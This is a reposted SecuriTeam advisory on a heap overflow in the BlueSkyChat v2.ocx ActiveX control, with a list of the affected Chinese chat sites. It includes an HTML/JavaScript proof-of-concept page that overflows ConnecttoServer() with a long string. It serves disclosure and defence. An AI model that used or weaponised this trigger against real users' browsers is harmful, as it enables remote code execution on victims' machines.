- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
BlueSkyChat ActiveX Remote Heap Overflow vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.bluesky.cn/> BlueSkyChat is "a professional voice and video
chat software widely used by large chat websites in China". Remote
exploitation of a buffer overflow in an ActiveX control distributed with
Bluesky.cn could allow for the execution of arbitrary code.
DETAILS
Vulnerable Systems:
* BlueSkyChat version 8.1.2.0 (v2.ocx) and prior
When BlueSkyChat are installed, they register the following ActiveX
control on the system:
ProgId: V2.V2Ctrl.1
ClassId: 2EA6D939-4445-43F1-A12B-8CB3DDA8B855
File: v2.ocx
This control contains a buffer overflow in its ConnecttoServer() method.
This is a client side vulnerability. So the clients of following chat
servers which install the affected BlueSkyChat software are affected.
* bliao
* qqliao
* 7liao
* haoliao
* 51liao
* heshang
* xicn
* CN104
* liao-tian
* aliao
* kuailiao
* mtliao
* pj0427
* uighur
* wmliao
Exploit:
<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">
function ClickForRunCalc()
{
var heapSprayToAddress = 0x0d0d0d0d;
var payLoadCode = "A" ;
while (payLoadCode.length <= 10000) payLoadCode+='A';
com.ConnecttoServer("1",payLoadCode,"3","4","5");
}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>
ADDITIONAL INFORMATION
The information has been provided by <mailto:vulnhunt@gmail.com> Code
Audit Labs.
The original article can be found at:
<http://www.vulnhunt.com/advisories/CAL-20070730-1_BlueSkyCat_v2.ocx_ActiveX_remote_heap_overflow_vulnerability_en.txt> http://www.vulnhunt.com/advisories/CAL-20070730-1_BlueSkyCat_v2.ocx_ActiveX_remote_heap_overflow_vulnerability_en.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
No comments:
Post a Comment